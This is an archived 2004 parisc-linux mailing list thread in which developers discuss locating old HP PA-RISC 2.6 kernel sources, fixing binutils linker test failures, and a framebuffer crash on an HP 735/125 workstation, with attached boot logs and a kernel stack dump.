X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24950


(...)
>> Where can I get 2.6.4-hppa-kernels? I tried the source from
www.kernel.org,
>>
>Either you choose anonymous co of cvs tree:
>see <http://www.parisc-linux.org/faq/cvs.html>

>or you grab the tarball at:
><http://cvs.parisc-linux.org/download/linux-2.6/>
>(the patch against vanilla src is also available)

>> but this seems to lack HIL-support and at the cvs.parisc-linux.org
site
>>the
>>
>> oldest kernels are 2.6.5.
>> With a 2.6.4 kernel I could verify if I have the same problem as
mentioned
>> in
>> the link above, because this problem first came up with kernels >
2.6.4.
>>
>Hmm good starting point :)

>Good luck,
>    Joel

Hi Joel,

unfortunately I can't find any suitable 2.6.4 kernel or kernel-source on
http://cvs.parisc-linux.org/download/linux-2.6/ !
The 2.4.6 kernel-source-tar.bz2 in /autobuild has no hppa-specific
extensions (no HIL-support) and the oldest pa-kernels
and pa-sources available are 2.6.5.

Any idea whre I can get 2.6.4 pa-specific kernel binaries or kernel
sources? How could I use cvs to get an old kernel source like 2.6.4?

Thanks Johannes





_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Wed, 29 Sep 2004 15:07:50 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <4152E64500001B86@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624487 25927 80.91.229.3 (22 Nov 2014 02:48:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: j.raspe@t-online.de
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26924 invoked by uid 65534); 29 Sep 2004 13:09:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 29 Sep 2004 15:09:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7540A3BE86; Wed, 29 Sep 2004 07:08:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00314-02; Wed, 29 Sep 2004 07:08:54 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B3CD23BE87; Wed, 29 Sep 2004 07:08:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A0963BE85
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Sep 2004 07:08:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32024-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Sep 2004 07:08:20 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id CD4F73BE84
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Sep 2004 07:08:19 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id F3E0049474B; Wed, 29 Sep 2004 07:08:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-3-bnl.tiscali.it (mail-3-bnl.tiscali.it [213.205.33.223])
	by palinux.hppa (Postfix) with ESMTP id 13F0E494747
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Sep 2004 07:08:17 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Wed, 29 Sep 2004 15:07:50 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24951

Hello  Johannes,

> Hi Joel,
>
> your tips are great, many thanks for your help.
welcome :)

> I got the 2.6.4-pa2-version from cvs with your date-tip, configured and=


> compiled it but unfortunately it shows the same behaviour like the newe=
r
>
> 2.6-kernels. Nothing but a blue screen (btw: is this a trademark of
> Microsoft?) after initialisation of the fb-device (at least I think so)=
.
>
> Any more clues, how to get the 2.6 kernels working?
>
Unfortunately no :(

iirc Helge Deller is the maintainner, I trust he would have read those pr=

:)

Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3 experimental debs - patch
Date: Wed, 29 Sep 2004 17:26:56 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <4152E64500001C46@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624487 25929 80.91.229.3 (22 Nov 2014 02:48:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25783 invoked by uid 65534); 29 Sep 2004 15:27:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 29 Sep 2004 17:27:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BBECD3BE94; Wed, 29 Sep 2004 09:27:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01865-04; Wed, 29 Sep 2004 09:27:27 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9BF8D3BE96; Wed, 29 Sep 2004 09:27:12 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 495763BE92
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Sep 2004 09:27:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01853-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Sep 2004 09:27:07 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D32313BE85
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Sep 2004 09:27:06 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 866AF494747; Wed, 29 Sep 2004 09:27:06 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-3-bnl.tiscali.it (mail-3-bnl.tiscali.it [213.205.33.223])
	by palinux.hppa (Postfix) with ESMTP id F157A494738
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Sep 2004 09:27:05 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Wed, 29 Sep 2004 17:26:56 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24952

Hello jda,

> > Certainly a pb with configure options:
> > sources/binutils/configure  --target=3D3Dhppa-linux --host=3D3Dhppa-l=
inux
> > --build=3D3Dhppa-linux
> > --prefix=3D3D/mnt/palin/Develop/parisc-linux/xc --disable-nls
>
> There is nothing obviously wrong with the configure command.  Look
> at the FAILs in the file ld/testsuite/ld.log.
Now it's ld/ld.log :) and effectively interesting :)

>  Some of the ld tests
> depend on finding the linker used by gcc and they might fail if
> gcc was built using the --with-ld=3D option.  However, that's just
> speculation.
>
Exactely:
All failed because:
/mnt/palin/Develop/parisc-linux/build/binutils/ld/ld-new: warning: ld.so.=
1,
needed by /lib/libc.so.6, not found (try using -rpath or -rpath-link)

even thought the cmds of the form:
/mnt/palin/Develop/parisc-linux/build/binutils/ld/ld-new -m hppalinux  -o=

tmpdir/ld1 -dynamic-linker /lib/ld.so.1 ...

(the -rpath help but how to put this in configure?)

Never the less the following workaround did the trick befor the 'make -k
check' of binuitls:
export LD_LIBRARY_PATH=3D/lib

                 =3D=3D=3D ld Summary =3D=3D=3D

# of expected passes            166
# of expected failures          38

:)

Thanks again for your help and patience,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Framebuffer broken on 735/125 with 2.6-kernels (was: No 2.6 kernel on 735/125 with CRX24?)
Date: Wed, 29 Sep 2004 20:58:49 +0200
Lines: 417
Approved: news@gmane.org
Message-ID: <200409292058.49375.j.raspe@t-online.de>
References: <4152E64500001B86@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_pXwWBRBPUSNsQsv"
X-Trace: ger.gmane.org 1416624487 25933 80.91.229.3 (22 Nov 2014 02:48:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:07 +0000 (UTC)
Cc: deller@gmx.de
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <j.raspe@t-online.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18147 invoked by uid 65534); 29 Sep 2004 18:59:04 -0000
Original-Received: from mailout01.sul.t-online.com (EHLO mailout01.sul.t-online.com) (194.25.134.80)
  by mx0.gmx.net (mx028) with SMTP; 29 Sep 2004 20:59:04 +0200
Original-Received: from fwd01.aul.t-online.de 
	by mailout01.sul.t-online.com with smtp 
	id 1CCjfD-0004tr-01; Wed, 29 Sep 2004 20:58:55 +0200
Original-Received: from ZEUS.lan.pc (V+HqKuZLYe9pFCjmF3teNIu48vT+btFuuk3xGA-9TaKSw-8aCE+pcK@[217.80.126.167]) by fwd01.sul.t-online.com
	with esmtp id 1CCjf8-1CcIoi0; Wed, 29 Sep 2004 20:58:50 +0200
User-Agent: KMail/1.7
In-Reply-To: <4152E64500001B86@mail-3-bnl.tiscali.it>
X-ID: V+HqKuZLYe9pFCjmF3teNIu48vT+btFuuk3xGA-9TaKSw-8aCE+pcK
X-TOI-MSGID: b4af000d-5538-45ee-a9f7-6d6e075d6f81
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24953

--Boundary-00=_pXwWBRBPUSNsQsv
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi,

after many tries with many different kernels I got back to kernel-version 
2.6.0-pa6 checked out from cvs.
With this kernel I get the same result as with all other 2.6-kernels: a blue 
screen and a hanging machine after the initalisation of the fb-device.
But with this kernel I got a stack-dump which I appended in a txt-file.

I don't know if this dump is very useful, because when I configure the kernel 
without support for fb-device the kernel gives errors too, but the screen 
does not turn blue and the machine does not hang immediately.

After all this I checked out the "/drivers/video" directory from  Sun Sep 28 
02:27:21 2003 (this was version 1.4.2.1 of stifb.c, before the 
Precisionbook-corrections) and replaced the original 2.6.0-pa6 
"drivers/video" directory with the older one.
The kernel compiled cleanly but he symptomps were the same as above (stack 
dump appended as "output-2.6.0-pa6-with_old_video_directory.txt"), which 
brings me to the conclusion that the fb-device on my 735/125 (CRX24) broke 
with the transition from the 2.4 (I actually use 2.4.27-pa4) to the 2.6 
kernel-series.

Without "CONFIG_FB" 2.6.4 and the latest 2.6.9 boot cleanly.

Regards

Johannes
-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105

--Boundary-00=_pXwWBRBPUSNsQsv
Content-Type: text/plain;
  charset="iso-8859-15";
  name="output-2.6.0-pa6.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="output-2.6.0-pa6.txt"

Command line for kernel: 'root=/dev/sda6 HOME=/ console=ttyS0 TERM=vt102 palo_k'
Selected kernel: /vmlinux-2.6.0 from partition 2
ELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2130833 mediaptr 0x1000
Segment 1 load 0030a000 size 356536 mediaptr 0x20a000
Segment 2 load 00364000 size 192645 mediaptr 0x262000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.0-pa6 (johio@APOLLO) (gcc-Version 3.3.4 (Debian 1:3.3.4-12)) 4
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00002060 00000481 00000000 00000000 77584fb0 ffffffff 00000004 0000000a 0a
vers  00000015
model 9000/735
Total Memory: 272 Mb
On node 0 totalpages: 69632
  DMA zone: 69632 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda6 HOME=/ console=ttyS0 TERM=vt102 palo_kernel0
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x128
Memory: 272636k available
Calibrating delay loop... 124.51 BogoMIPS
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Coral SGC Graphics at 0xf8000000 [1] { 10, 0x0, 0x004, 0x00077 }
2. Outfield Core BA at 0xf082f000 [2] { 11, 0x0, 0x009, 0x00070 }
3. Outfield Core SCSI at 0xf0825000 [2/0/1] { 10, 0x0, 0x009, 0x00071 }
4. Outfield Core LAN (802.3) at 0xf0826000 [2/0/2] { 10, 0x0, 0x009, 0x00072 }
5. Outfield Core HIL at 0xf0821000 [2/0/3] { 10, 0x0, 0x009, 0x00073 }
6. Outfield Core RS-232 at 0xf0823000 [2/0/4] { 10, 0x0, 0x009, 0x00075 }
7. Outfield Core RS-232 at 0xf0822000 [2/0/5] { 10, 0x0, 0x009, 0x00075 }
8. Outfield Core Centronics at 0xf0824000 [2/0/6] { 10, 0x0, 0x009, 0x00074 }
9. Outfield FW SCSI at 0xf0830000 [2/0/7] { 10, 0x0, 0x009, 0x0007c }
10. Outfield Audio at 0xf1000000 [2/0/8] { 10, 0x0, 0x009, 0x0007f }
11. Cobra EISA BA at 0xfc000000 [4] { 11, 0x0, 0x004, 0x00076 }
12. Snake Cheetah (735/130) at 0xfffbe000 [8] { 0, 0x0, 0x206, 0x00004 }
13. Memory at 0xfffbf000 [9] { 1, 0x0, 0x037, 0x00009 }
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
Cutoff version 4 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
SCSI subsystem initialized
STI GSC/PCI core graphics driver Version 0.9a
    id 26d148ee-40a00499, conforms to spec rev. 8.02
    graphics card name: HPA1439A
fb0: stifb 1280x1024-32 frame buffer device, HPA1439A, id: 26d148ee, mmio: 0xf80
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Soft power switch support not available.

Stack Dump:
 10064a58:  10064a58 081a0245 6fc50080 2b602000
 10064a48:  22926000 6bc23fd9 22726000 e840c002
 10064a38:  0f131280 34130002 87002008 0f331280
 10064a28:  34130002 87202008 34370800 e81f1d05
 10064a18:  2b602000 341c3fff e81f1d9d 00000000
 10064a08:  100646c0 0000001a 0000001c 2b602000
 100649f8:  6bd43eb1 e81f1db5 6bd33ea1 10104684
 100649e8:  08930a13 4bd43eb1 4bd33ea1 08040258
 100649d8:  0000000f 10321ee0 0000000f 0000000e
 100649c8:  00000010 00000000 10321e04 08040259
 100649b8:  2b602000 86602028 49130220 1013d2cc
 100649a8:  4bd73eb1 888320a2 081c0244 d35a1ff0
 10064998:  e85f045d f9000000 ffffffff 10064508
 10064988:  00000020 4bd83ea1 343a0828 e85f0a25
 10064978:  08050257 08030259 2b602000 0ae30003
 10064968:  86c02030 0ab90403 0aa50415 0a930205
 10064958:  10321e04 10321ed0 0000000f 00000000
 10064948:  10321e04 00000000 10321e04 4bd83ea1
 10064938:  8f803f35 0806025a e85f1c75 1013d53c
 10064928:  4bd53eb1 8333a038 0b070419 d6740821
 10064918:  08180259 8e602028 0af80213 36973fff
 10064908:  0cc81094 4fc93f01 e840c000 4bc33f31
 100648f8:  4bc43f29 4bc53f21 4bc63f19 10109088
 100648e8:  4bc83f09 4bc23ed9 0938041c 08180254
 100648d8:  8b07bf45 10321e04 00000201 00000001
 100648c8:  10322140 106677b0 10321e04 37d93eb1
 100648b8:  0806025a 343a07a0 e85f0bbd 1013d53c
 100648a8:  08140258 2b602000 34370810 2b602000
 10064898:  10321e04 00000210 0000001c 00000000
 10064888:  0e742088 00000017 20ffaba0 20ffabac
 10064878:  00000020 000000d0 00000001 10255edc
 10064868:  10255ed8 00000000 00000000 00000000
 10064858:  00000000 00000000 00000000 00000000
 10064848:  00000000 00000000 00000000 00000000
 10064838:  41000000 00000000 40800000 00000000
 10064828:  40000000 00000000 40000000 fffffde0
 10064818:  41800000 00000000 40200000 00000000
 10064808:  40200000 00000000 40300000 00000000
 100647f8:  41000000 00000000 40800000 fffffde0
 100647e8:  fffffde0 00000000 41000000 fffffde0
 100647d8:  fffffde0 00000000 40800000 00000000
 100647c8:  41000000 fffffde0 fffffde0 00000000
 100647b8:  00000000 00000010 00000010 00000000
 100647a8:  41800000 00000000 00000000 00000000
 10064798:  00000000 ffffffff 7f7fffff ffffffff
 10064788:  7f7fffff fffffde0 fffffde0 00000000
 10064778:  000003c7 00000000 4471cccc 00000000
 10064768:  431c0000 00000000 42780000 00000000
 10064758:  00000000 00000000 00856606 00000000
 10064748:  00000000 00000000 08090800 10255d20
 10064738:  100646c0 00000000 00000500 1030a010
 10064728:  00002000 00000000 00000000 00000000
 10064718:  00000000 00000000 00000007 00000000
 10064708:  ffffffff 00000000 00000000 00000200
 100646f8:  00000010 000000ff 10064508 00000000
 100646e8:  00000000 00000500 00002000 20f37000
 100646d8:  00000020 10064508 ffffffff f9000000
 100646c8:  1024b0c4 00000000 0004ff0f 103b7534
 100646b8:  00000020 000000d0 00000001 1024f48c
 100646a8:  00000001 00000000 20ff5bc0 10064548
 10064698:  10321e04 00000208 0000000f 00000000
 10064688:  10321e04 00000003 10321e04 20ffab38
 10064678:  00000060 000000d0 00000001 20e9c0a0
 10064668:  ffffffff 000000a0 20e38140 00000001

Kernel addresses on the stack:
 [<10104380>] parisc_terminate+0x60/0xb8
 [<10104684>] handle_interruption+0x2ac/0x5b0
 [<1013d2cc>] rmqueue_bulk+0x78/0xa4
 [<1013d53c>] buffered_rmqueue+0xd8/0x164
 [<10109088>] intr_check_sig+0x0/0xc
 [<1013d53c>] buffered_rmqueue+0xd8/0x164
 [<10255edc>] cfb_imageblit+0x24c/0x55c
 [<1024f48c>] move_buf_aligned+0x58/0x84
 [<1024b0c4>] putcs_aligned+0x18c/0x21c
 [<102547bc>] stifb_setcolreg+0xc4/0x118
 [<1024b4ec>] accel_putcs+0xac/0xd8
 [<102533c0>] fb_set_cmap+0xec/0x1b8
 [<10207a1c>] do_update_region+0x1e0/0x234
 [<102087b0>] redraw_screen+0x120/0x1b4
 [<10208680>] set_origin+0xb0/0xc0
 [<10208e38>] vc_resize+0x374/0x430
 [<10141130>] cache_alloc_refill+0x1b4/0x270
 [<1024bce4>] fbcon_set_display+0x3a0/0x7a4
 [<10208918>] visual_init+0xb0/0x124
 [<1020d02c>] take_over_console+0x1e0/0x244
 [<10126f44>] __tasklet_schedule+0x70/0x74
 [<103714c0>] fb_console_init+0x3c/0x4c
 [<1036e760>] vty_init+0xec/0x114
 [<1036dd80>] tty_init+0x22c/0x250
 [<1036da48>] rand_initialize+0x6c/0xfc
 [<10364fa4>] do_initcalls+0x58/0xdc
 [<101001d0>] init+0x28/0xd4
 [<10108c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=100646c0 (Addr=0000001c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 00000000 1024b0c4 f9000000
r04-07  ffffffff 10064508 00000020 20f37000
r08-11  00002000 00000500 00000000 00000000
r12-15  10064508 000000ff 00000010 00000200
r16-19  00000000 00000000 ffffffff 00000000
r20-23  00000007 00000000 00000000 00000000
r24-27  00000000 00000000 00002000 1030a010
r28-31  00000500 00000000 100646c0 10255d20
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10255ed8 10255edc
 IIR: 0e742088    ISR: 00000000  IOR: 0000001c
 CPU:        0   CR30: 10064000 CR31: 10359000
 ORIG_R28: 00000020
 IAOQ[0]: cfb_imageblit+0x248/0x55c
 IAOQ[1]: cfb_imageblit+0x24c/0x55c
 RP(r2): putcs_aligned+0x18c/0x21c

--Boundary-00=_pXwWBRBPUSNsQsv
Content-Type: text/plain;
  charset="iso-8859-15";
  name="output-2.6.0-pa6-with_old_video_directory.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="output-2.6.0-pa6-with_old_video_directory.txt"

Command line for kernel: 'root=/dev/sda6 HOME=/ console=ttyS0 TERM=vt102 palo_k'
Selected kernel: /vmlinux-2.6.0 from partition 2
ELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2130833 mediaptr 0x1000
Segment 1 load 0030a000 size 356536 mediaptr 0x20a000
Segment 2 load 00364000 size 192645 mediaptr 0x262000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.0-pa6 (johio@APOLLO) (gcc-Version 3.3.4 (Debian 1:3.3.4-12)) 4
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00002060 00000481 00000000 00000000 77584fb0 ffffffff 00000004 0000000a 0a
vers  00000015
model 9000/735
Total Memory: 272 Mb
On node 0 totalpages: 69632
  DMA zone: 69632 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda6 HOME=/ console=ttyS0 TERM=vt102 palo_kernel0
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x128
Memory: 272636k available
Calibrating delay loop... 124.51 BogoMIPS
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Coral SGC Graphics at 0xf8000000 [1] { 10, 0x0, 0x004, 0x00077 }
2. Outfield Core BA at 0xf082f000 [2] { 11, 0x0, 0x009, 0x00070 }
3. Outfield Core SCSI at 0xf0825000 [2/0/1] { 10, 0x0, 0x009, 0x00071 }
4. Outfield Core LAN (802.3) at 0xf0826000 [2/0/2] { 10, 0x0, 0x009, 0x00072 }
5. Outfield Core HIL at 0xf0821000 [2/0/3] { 10, 0x0, 0x009, 0x00073 }
6. Outfield Core RS-232 at 0xf0823000 [2/0/4] { 10, 0x0, 0x009, 0x00075 }
7. Outfield Core RS-232 at 0xf0822000 [2/0/5] { 10, 0x0, 0x009, 0x00075 }
